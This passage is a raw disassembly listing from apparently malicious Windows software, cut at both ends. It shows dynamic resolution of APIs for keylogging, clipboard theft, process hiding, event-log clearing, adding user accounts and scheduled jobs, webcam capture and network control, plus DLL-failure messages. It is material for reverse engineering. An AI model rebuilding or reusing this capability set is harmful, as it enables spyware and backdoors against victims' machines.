cmp dword_4D1250, ebx jz short loc_409B6B cmp dword_4D12AC, ebx jz short loc_409B6B cmp dword_4D1110, ebx jz short loc_409B6B cmp eax, ebx jnz short loc_409B75 loc_409B6B: ; CODE XREF: sub_409A6D+B8j ; sub_409A6D+C0j ... mov dword_4D12B0, 1 loc_409B75: ; CODE XREF: sub_409A6D+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; dword_4270BC cmp eax, ebx mov dword_4D1228, eax jz short loc_409BA2 push 1 push ebx call eax jmp short loc_409BA2 ; --------------------------------------------------------------------------- loc_409B8D: ; CODE XREF: sub_409A6D+1Dj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12B4, eax mov dword_4D12B0, 1 loc_409BA2: ; CODE XREF: sub_409A6D+117j ; sub_409A6D+11Ej push offset aUser32_dll ; "user32.dll" call dword_4270B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409CB7 push offset aSendmessagea ; "SendMessageA" push edi call esi ; dword_4270BC push offset aFindwindowa ; "FindWindowA" push edi mov dword_4D124C, eax call esi ; dword_4270BC push offset aIswindow ; "IsWindow" push edi mov dword_4D11FC, eax call esi ; dword_4270BC push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4D1190, eax call esi ; dword_4270BC push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4D12A0, eax call esi ; dword_4270BC push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4D11C0, eax call esi ; dword_4270BC push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4D11E0, eax call esi ; dword_4270BC push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4D1244, eax call esi ; dword_4270BC cmp dword_4D124C, ebx mov dword_4D1130, eax jz short loc_409C5B cmp dword_4D11FC, ebx jz short loc_409C5B cmp dword_4D1190, ebx jz short loc_409C5B cmp dword_4D12A0, ebx jz short loc_409C5B cmp dword_4D11C0, ebx jz short loc_409C5B cmp dword_4D11E0, ebx jz short loc_409C5B cmp dword_4D1244, ebx jz short loc_409C5B cmp eax, ebx jnz short loc_409C65 loc_409C5B: ; CODE XREF: sub_409A6D+1B8j ; sub_409A6D+1C0j ... mov dword_4D12B8, 1 loc_409C65: ; CODE XREF: sub_409A6D+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; dword_4270BC push offset aGetkeystate ; "GetKeyState" push edi mov dword_4D11BC, eax call esi ; dword_4270BC push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4D10C4, eax call esi ; dword_4270BC push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4D118C, eax call esi ; dword_4270BC cmp dword_4D11BC, ebx mov dword_4D1174, eax jz short loc_409CC2 cmp dword_4D10C4, ebx jz short loc_409CC2 cmp dword_4D118C, ebx jz short loc_409CC2 cmp eax, ebx jnz short loc_409CCC jmp short loc_409CC2 ; --------------------------------------------------------------------------- loc_409CB7: ; CODE XREF: sub_409A6D+144j call dword_42708C ; RtlGetLastWin32Error mov dword_4D12BC, eax loc_409CC2: ; CODE XREF: sub_409A6D+232j ; sub_409A6D+23Aj ... mov dword_4D12B8, 1 loc_409CCC: ; CODE XREF: sub_409A6D+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; dword_42709C mov edi, eax cmp edi, ebx jz loc_409E85 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_4270BC push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4D1260, eax call esi ; dword_4270BC push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4D11A4, eax call esi ; dword_4270BC push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4D1214, eax call esi ; dword_4270BC push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4D10F0, eax call esi ; dword_4270BC push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4D1154, eax call esi ; dword_4270BC push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4D11CC, eax call esi ; dword_4270BC push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4D1170, eax call esi ; dword_4270BC cmp dword_4D1260, ebx mov dword_4D1180, eax jz short loc_409D75 cmp dword_4D11A4, ebx jz short loc_409D75 cmp dword_4D1214, ebx jz short loc_409D75 cmp dword_4D10F0, ebx jz short loc_409D75 cmp dword_4D1154, ebx jz short loc_409D75 cmp dword_4D11CC, ebx jnz short loc_409D7F loc_409D75: ; CODE XREF: sub_409A6D+2DEj ; sub_409A6D+2E6j ... mov dword_4D12C0, 1 loc_409D7F: ; CODE XREF: sub_409A6D+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; dword_4270BC push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4D11D4, eax call esi ; dword_4270BC push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4D11AC, eax call esi ; dword_4270BC cmp dword_4D11D4, ebx mov dword_4D125C, eax jz short loc_409DBA cmp dword_4D11AC, ebx jz short loc_409DBA cmp eax, ebx jnz short loc_409DC4 loc_409DBA: ; CODE XREF: sub_409A6D+33Fj ; sub_409A6D+347j mov dword_4D12C0, 1 loc_409DC4: ; CODE XREF: sub_409A6D+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_4270BC push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4D11E4, eax call esi ; dword_4270BC push offset aStartservicea ; "StartServiceA" push edi mov dword_4D10CC, eax call esi ; dword_4270BC push offset aControlservice ; "ControlService" push edi mov dword_4D10D4, eax call esi ; dword_4270BC push offset aDeleteservice ; "DeleteService" push edi mov dword_4D1138, eax call esi ; dword_4270BC push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4D113C, eax call esi ; dword_4270BC push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4D10E8, eax call esi ; dword_4270BC push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4D11B0, eax call esi ; dword_4270BC cmp dword_4D11E4, ebx mov dword_4D10D8, eax jz short loc_409E68 cmp dword_4D10CC, ebx jz short loc_409E68 cmp dword_4D10D4, ebx jz short loc_409E68 cmp dword_4D1138, ebx jz short loc_409E68 cmp dword_4D113C, ebx jz short loc_409E68 cmp dword_4D10E8, ebx jz short loc_409E68 cmp dword_4D11B0, ebx jz short loc_409E68 cmp eax, ebx jnz short loc_409E72 loc_409E68: ; CODE XREF: sub_409A6D+3C5j ; sub_409A6D+3CDj ... mov dword_4D12C0, 1 loc_409E72: ; CODE XREF: sub_409A6D+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_4270BC cmp eax, ebx mov dword_4D10D0, eax jnz short loc_409E9A jmp short loc_409E90 ; --------------------------------------------------------------------------- loc_409E85: ; CODE XREF: sub_409A6D+26Aj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12C4, eax loc_409E90: ; CODE XREF: sub_409A6D+416j mov dword_4D12C0, 1 loc_409E9A: ; CODE XREF: sub_409A6D+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; dword_42709C mov edi, eax cmp edi, ebx jz loc_409F66 push offset aCreatedca ; "CreateDCA" push edi call esi ; dword_4270BC push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4D11DC, eax call esi ; dword_4270BC push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4D1234, eax call esi ; dword_4270BC push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4D123C, eax call esi ; dword_4270BC push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4D11F8, eax call esi ; dword_4270BC push offset aSelectobject ; "SelectObject" push edi mov dword_4D1114, eax call esi ; dword_4270BC push offset aBitblt ; "BitBlt" push edi mov dword_4D10C0, eax call esi ; dword_4270BC push offset aDeletedc ; "DeleteDC" push edi mov dword_4D1238, eax call esi ; dword_4270BC push offset aDeleteobject ; "DeleteObject" push edi mov dword_4D10AC, eax call esi ; dword_4270BC cmp dword_4D11DC, ebx mov dword_4D114C, eax jz short loc_409F71 cmp dword_4D1234, ebx jz short loc_409F71 cmp dword_4D123C, ebx jz short loc_409F71 cmp dword_4D11F8, ebx jz short loc_409F71 cmp dword_4D1114, ebx jz short loc_409F71 cmp dword_4D10C0, ebx jz short loc_409F71 cmp dword_4D1238, ebx jz short loc_409F71 cmp dword_4D10AC, ebx jz short loc_409F71 cmp eax, ebx jnz short loc_409F7B jmp short loc_409F71 ; --------------------------------------------------------------------------- loc_409F66: ; CODE XREF: sub_409A6D+438j call dword_42708C ; RtlGetLastWin32Error mov dword_4D12CC, eax loc_409F71: ; CODE XREF: sub_409A6D+4B9j ; sub_409A6D+4C1j ... mov dword_4D12C8, 1 loc_409F7B: ; CODE XREF: sub_409A6D+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz loc_40A237 push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_4270BC push offset aWsasocketa ; "WSASocketA" push edi mov dword_4D1160, eax call esi ; dword_4270BC push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4D1294, eax call esi ; dword_4270BC push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4D1100, eax call esi ; dword_4270BC push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4D10DC, eax call esi ; dword_4270BC push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4D119C, eax call esi ; dword_4270BC push offset aWsacleanup ; "WSACleanup" push edi mov dword_4D1184, eax call esi ; dword_4270BC push offset aSocket ; "socket" push edi mov dword_4D1148, eax call esi ; dword_4270BC push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4D1270, eax call esi ; dword_4270BC push offset aConnect ; "connect" push edi mov dword_4D128C, eax call esi ; dword_4270BC push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4D1198, eax call esi ; dword_4270BC push offset aInet_addr ; "inet_addr" push edi mov dword_4D127C, eax call esi ; dword_4270BC push offset aHtons ; "htons" push edi mov dword_4D1230, eax call esi ; dword_4270BC push offset aHtonl ; "htonl" push edi mov dword_4D11F0, eax call esi ; dword_4270BC push offset aNtohs ; "ntohs" push edi mov dword_4D11EC, eax call esi ; dword_4270BC push offset aNtohl ; "ntohl" push edi mov dword_4D1120, eax call esi ; dword_4270BC push offset aSend ; "send" push edi mov dword_4D1118, eax call esi ; dword_4270BC push offset aSendto ; "sendto" push edi mov dword_4D1240, eax call esi ; dword_4270BC push offset aRecv ; "recv" push edi mov dword_4D1254, eax call esi ; dword_4270BC push offset aRecvfrom ; "recvfrom" push edi mov dword_4D1208, eax call esi ; dword_4270BC mov dword_4D11C8, eax push offset aBind ; "bind" push edi call esi ; dword_4270BC push offset aSelect ; "select" push edi mov dword_4D121C, eax call esi ; dword_4270BC push offset aListen ; "listen" push edi mov dword_4D11D8, eax call esi ; dword_4270BC push offset aAccept ; "accept" push edi mov dword_4D1218, eax call esi ; dword_4270BC push offset aSetsockopt ; "setsockopt" push edi mov dword_4D1284, eax call esi ; dword_4270BC push offset aGetsockname ; "getsockname" push edi mov dword_4D11D0, eax call esi ; dword_4270BC push offset aGethostname ; "gethostname" push edi mov dword_4D1194, eax call esi ; dword_4270BC push offset aGethostbyname ; "gethostbyname" push edi mov dword_4D1204, eax call esi ; dword_4270BC push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4D1274, eax call esi ; dword_4270BC push offset aGetpeername ; "getpeername" push edi mov dword_4D11A8, eax call esi ; dword_4270BC push offset aClosesocket ; "closesocket" push edi mov dword_4D1144, eax call esi ; dword_4270BC cmp dword_4D1160, ebx mov dword_4D1288, eax jz loc_40A242 cmp dword_4D1294, ebx jz loc_40A242 cmp dword_4D1100, ebx jz loc_40A242 cmp dword_4D119C, ebx jz loc_40A242 cmp dword_4D1184, ebx jz loc_40A242 cmp dword_4D1148, ebx jz loc_40A242 cmp dword_4D1270, ebx jz loc_40A242 cmp dword_4D128C, ebx jz loc_40A242 cmp dword_4D1198, ebx jz loc_40A242 cmp dword_4D127C, ebx jz loc_40A242 cmp dword_4D1230, ebx jz loc_40A242 cmp dword_4D11F0, ebx jz loc_40A242 cmp dword_4D11EC, ebx jz loc_40A242 cmp dword_4D1120, ebx jz short loc_40A242 cmp dword_4D1240, ebx jz short loc_40A242 cmp dword_4D1254, ebx jz short loc_40A242 cmp dword_4D1208, ebx jz short loc_40A242 cmp dword_4D11C8, ebx jz short loc_40A242 cmp dword_4D121C, ebx jz short loc_40A242 cmp dword_4D11D8, ebx jz short loc_40A242 cmp dword_4D1218, ebx jz short loc_40A242 cmp dword_4D1284, ebx jz short loc_40A242 cmp dword_4D11D0, ebx jz short loc_40A242 cmp dword_4D1194, ebx jz short loc_40A242 cmp dword_4D1204, ebx jz short loc_40A242 cmp dword_4D1274, ebx jz short loc_40A242 cmp dword_4D11A8, ebx jz short loc_40A242 cmp eax, ebx jnz short loc_40A24C jmp short loc_40A242 ; --------------------------------------------------------------------------- loc_40A237: ; CODE XREF: sub_409A6D+51Fj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12D4, eax loc_40A242: ; CODE XREF: sub_409A6D+6BEj ; sub_409A6D+6CAj ... mov dword_4D12D0, 1 loc_40A24C: ; CODE XREF: sub_409A6D+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz loc_40A351 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_4270BC push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4D112C, eax call esi ; dword_4270BC push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4D10B4, eax call esi ; dword_4270BC push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4D11B8, eax call esi ; dword_4270BC push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4D1164, eax call esi ; dword_4270BC push offset aInternetopena ; "InternetOpenA" push edi mov dword_4D11C4, eax call esi ; dword_4270BC push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4D1188, eax call esi ; dword_4270BC push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4D10F4, eax call esi ; dword_4270BC push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4D10EC, eax call esi ; dword_4270BC push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4D10FC, eax call esi ; dword_4270BC cmp dword_4D112C, ebx mov ecx, dword_4D1188 mov dword_4D1224, eax jz short loc_40A32D cmp dword_4D10B4, ebx jz short loc_40A32D cmp dword_4D11B8, ebx jz short loc_40A32D cmp dword_4D1164, ebx jz short loc_40A32D cmp dword_4D11C4, ebx jz short loc_40A32D cmp ecx, ebx jz short loc_40A32D cmp dword_4D10F4, ebx jz short loc_40A32D cmp dword_4D10EC, ebx jz short loc_40A32D cmp dword_4D10FC, ebx jz short loc_40A32D cmp eax, ebx jnz short loc_40A337 loc_40A32D: ; CODE XREF: sub_409A6D+87Ej ; sub_409A6D+886j ... mov dword_4D12D8, 1 loc_40A337: ; CODE XREF: sub_409A6D+8BEj cmp ecx, ebx jz short loc_40A36C push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; dword_4D1188 cmp eax, ebx mov dword_4D11A0, eax jnz short loc_40A36C jmp short loc_40A366 ; --------------------------------------------------------------------------- loc_40A351: ; CODE XREF: sub_409A6D+7EAj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12DC, eax mov dword_4D12D8, 1 loc_40A366: ; CODE XREF: sub_409A6D+8E2j mov dword_4D11A0, ebx loc_40A36C: ; CODE XREF: sub_409A6D+8CCj ; sub_409A6D+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A3B6 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; dword_4270BC push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4D1178, eax call esi ; dword_4270BC push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4D12A8, eax call esi ; dword_4270BC cmp dword_4D1178, ebx mov dword_4D1108, eax jz short loc_40A3C1 cmp dword_4D12A8, ebx jz short loc_40A3C1 cmp eax, ebx jnz short loc_40A3CB jmp short loc_40A3C1 ; --------------------------------------------------------------------------- loc_40A3B6: ; CODE XREF: sub_409A6D+90Aj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12E4, eax loc_40A3C1: ; CODE XREF: sub_409A6D+939j ; sub_409A6D+941j ... mov dword_4D12E0, 1 loc_40A3CB: ; CODE XREF: sub_409A6D+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz loc_40A4D2 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_4270BC push offset aNetsharedel ; "NetShareDel" push edi mov dword_4D10E4, eax call esi ; dword_4270BC push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4D10BC, eax call esi ; dword_4270BC push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4D1134, eax call esi ; dword_4270BC push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4D1168, eax call esi ; dword_4270BC push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4D1280, eax call esi ; dword_4270BC push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4D111C, eax call esi ; dword_4270BC push offset aNetuserdel ; "NetUserDel" push edi mov dword_4D10C8, eax call esi ; dword_4270BC push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4D10B8, eax call esi ; dword_4270BC push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4D1150, eax call esi ; dword_4270BC push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4D1248, eax call esi ; dword_4270BC push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4D1200, eax call esi ; dword_4270BC cmp dword_4D10E4, ebx mov dword_4D1124, eax jz short loc_40A4DD cmp dword_4D10BC, ebx jz short loc_40A4DD cmp dword_4D1134, ebx jz short loc_40A4DD cmp dword_4D1168, ebx jz short loc_40A4DD cmp dword_4D1280, ebx jz short loc_40A4DD cmp dword_4D111C, ebx jz short loc_40A4DD cmp dword_4D10C8, ebx jz short loc_40A4DD cmp dword_4D10B8, ebx jz short loc_40A4DD cmp dword_4D1150, ebx jz short loc_40A4DD cmp dword_4D1248, ebx jz short loc_40A4DD cmp dword_4D1200, ebx jnz short loc_40A4E7 jmp short loc_40A4DD ; --------------------------------------------------------------------------- loc_40A4D2: ; CODE XREF: sub_409A6D+969j call dword_42708C ; RtlGetLastWin32Error mov dword_4D12EC, eax loc_40A4DD: ; CODE XREF: sub_409A6D+A11j ; sub_409A6D+A19j ... mov dword_4D12E8, 1 loc_40A4E7: ; CODE XREF: sub_409A6D+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A51C push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_4270BC push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4D110C, eax call esi ; dword_4270BC cmp dword_4D110C, ebx mov dword_4D11E8, eax jz short loc_40A527 cmp eax, ebx jnz short loc_40A531 jmp short loc_40A527 ; --------------------------------------------------------------------------- loc_40A51C: ; CODE XREF: sub_409A6D+A85j call dword_42708C ; RtlGetLastWin32Error mov dword_4D12F4, eax loc_40A527: ; CODE XREF: sub_409A6D+AA7j ; sub_409A6D+AADj mov dword_4D12F0, 1 loc_40A531: ; CODE XREF: sub_409A6D+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A566 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_4270BC push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4D126C, eax call esi ; dword_4270BC cmp dword_4D126C, ebx mov dword_4D1268, eax jz short loc_40A571 cmp eax, ebx jnz short loc_40A57B jmp short loc_40A571 ; --------------------------------------------------------------------------- loc_40A566: ; CODE XREF: sub_409A6D+ACFj call dword_42708C ; RtlGetLastWin32Error mov dword_4D12FC, eax loc_40A571: ; CODE XREF: sub_409A6D+AF1j ; sub_409A6D+AF7j mov dword_4D12F8, 1 loc_40A57B: ; CODE XREF: sub_409A6D+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A5DA push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_4270BC push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4D1298, eax call esi ; dword_4270BC push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4D1290, eax call esi ; dword_4270BC push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4D1258, eax call esi ; dword_4270BC cmp dword_4D1298, ebx mov dword_4D1128, eax jz short loc_40A5E5 cmp dword_4D1290, ebx jz short loc_40A5E5 cmp dword_4D1258, ebx jz short loc_40A5E5 cmp eax, ebx jnz short loc_40A5EF jmp short loc_40A5E5 ; --------------------------------------------------------------------------- loc_40A5DA: ; CODE XREF: sub_409A6D+B19j call dword_42708C ; RtlGetLastWin32Error mov dword_4D1304, eax loc_40A5E5: ; CODE XREF: sub_409A6D+B55j ; sub_409A6D+B5Dj ... mov dword_4D1300, 1 loc_40A5EF: ; CODE XREF: sub_409A6D+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A624 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_4270BC push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4D115C, eax call esi ; dword_4270BC cmp dword_4D115C, ebx mov dword_4D1264, eax jz short loc_40A62F cmp eax, ebx jnz short loc_40A639 jmp short loc_40A62F ; --------------------------------------------------------------------------- loc_40A624: ; CODE XREF: sub_409A6D+B8Dj call dword_42708C ; RtlGetLastWin32Error mov dword_4D130C, eax loc_40A62F: ; CODE XREF: sub_409A6D+BAFj ; sub_409A6D+BB5j mov dword_4D1308, 1 loc_40A639: ; CODE XREF: sub_409A6D+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A6C2 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; dword_4270BC push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4D122C, eax call esi ; dword_4270BC push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4D1278, eax call esi ; dword_4270BC push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4D11B4, eax call esi ; dword_4270BC push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4D116C, eax call esi ; dword_4270BC push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4D120C, eax call esi ; dword_4270BC cmp dword_4D122C, ebx mov dword_4D117C, eax jz short loc_40A6CD cmp dword_4D1278, ebx jz short loc_40A6CD cmp dword_4D11B4, ebx jz short loc_40A6CD cmp dword_4D116C, ebx jz short loc_40A6CD cmp dword_4D120C, ebx jz short loc_40A6CD cmp eax, ebx jnz short loc_40A6D7 jmp short loc_40A6CD ; --------------------------------------------------------------------------- loc_40A6C2: ; CODE XREF: sub_409A6D+BD7j call dword_42708C ; RtlGetLastWin32Error mov dword_4D1314, eax loc_40A6CD: ; CODE XREF: sub_409A6D+C2Dj ; sub_409A6D+C35j ... mov dword_4D1310, 1 loc_40A6D7: ; CODE XREF: sub_409A6D+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; dword_4270B8 mov edi, eax cmp edi, ebx jz short loc_40A70C push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; dword_4270BC push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4D1140, eax call esi ; dword_4270BC cmp dword_4D1140, ebx mov dword_4D1220, eax jz short loc_40A717 cmp eax, ebx jnz short loc_40A721 jmp short loc_40A717 ; --------------------------------------------------------------------------- loc_40A70C: ; CODE XREF: sub_409A6D+C75j call dword_42708C ; RtlGetLastWin32Error mov dword_4D131C, eax loc_40A717: ; CODE XREF: sub_409A6D+C97j ; sub_409A6D+C9Dj mov dword_4D1318, 1 loc_40A721: ; CODE XREF: sub_409A6D+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409A6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A729 proc near ; CODE XREF: .nsp0:00403FFEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4D12B0, esi push edi mov edi, [ebp+arg_8] jz short loc_40A771 push dword_4D12B4 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A771: ; CODE XREF: sub_40A729+1Aj cmp dword_4D12B8, esi jz short loc_40A7A5 push dword_4D12BC lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A7A5: ; CODE XREF: sub_40A729+4Ej cmp dword_4D12C0, esi jz short loc_40A7D9 push dword_4D12C4 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A7D9: ; CODE XREF: sub_40A729+82j cmp dword_4D12C8, esi jz short loc_40A80D push dword_4D12CC lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A80D: ; CODE XREF: sub_40A729+B6j cmp dword_4D12D0, esi jz short loc_40A841 push dword_4D12D4 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A841: ; CODE XREF: sub_40A729+EAj cmp dword_4D12D8, esi jz short loc_40A875 push dword_4D12DC lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A875: ; CODE XREF: sub_40A729+11Ej cmp dword_4D12E0, esi jz short loc_40A8A9 push dword_4D12E4 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A8A9: ; CODE XREF: sub_40A729+152j cmp dword_4D12E8, esi jz short loc_40A8DD push dword_4D12EC lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A8DD: ; CODE XREF: sub_40A729+186j cmp dword_4D12F0, esi jz short loc_40A911 push dword_4D12F4 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A911: ; CODE XREF: sub_40A729+1BAj cmp dword_4D12F8, esi jz short loc_40A945 push dword_4D12FC lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A945: ; CODE XREF: sub_40A729+1EEj cmp dword_4D1300, esi jz short loc_40A979 push dword_4D1304 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A979: ; CODE XREF: sub_40A729+222j cmp dword_4D1308, esi jz short loc_40A9AD push dword_4D130C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A9AD: ; CODE XREF: sub_40A729+256j cmp dword_4D1310, esi jz short loc_40A9E1 push dword_4D1314 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40A9E1: ; CODE XREF: sub_40A729+28Aj cmp dword_4D1318, esi jz short loc_40AA15 push dword_4D131C lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41BF36 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4099D2 add esp, 20h loc_40AA15: ; 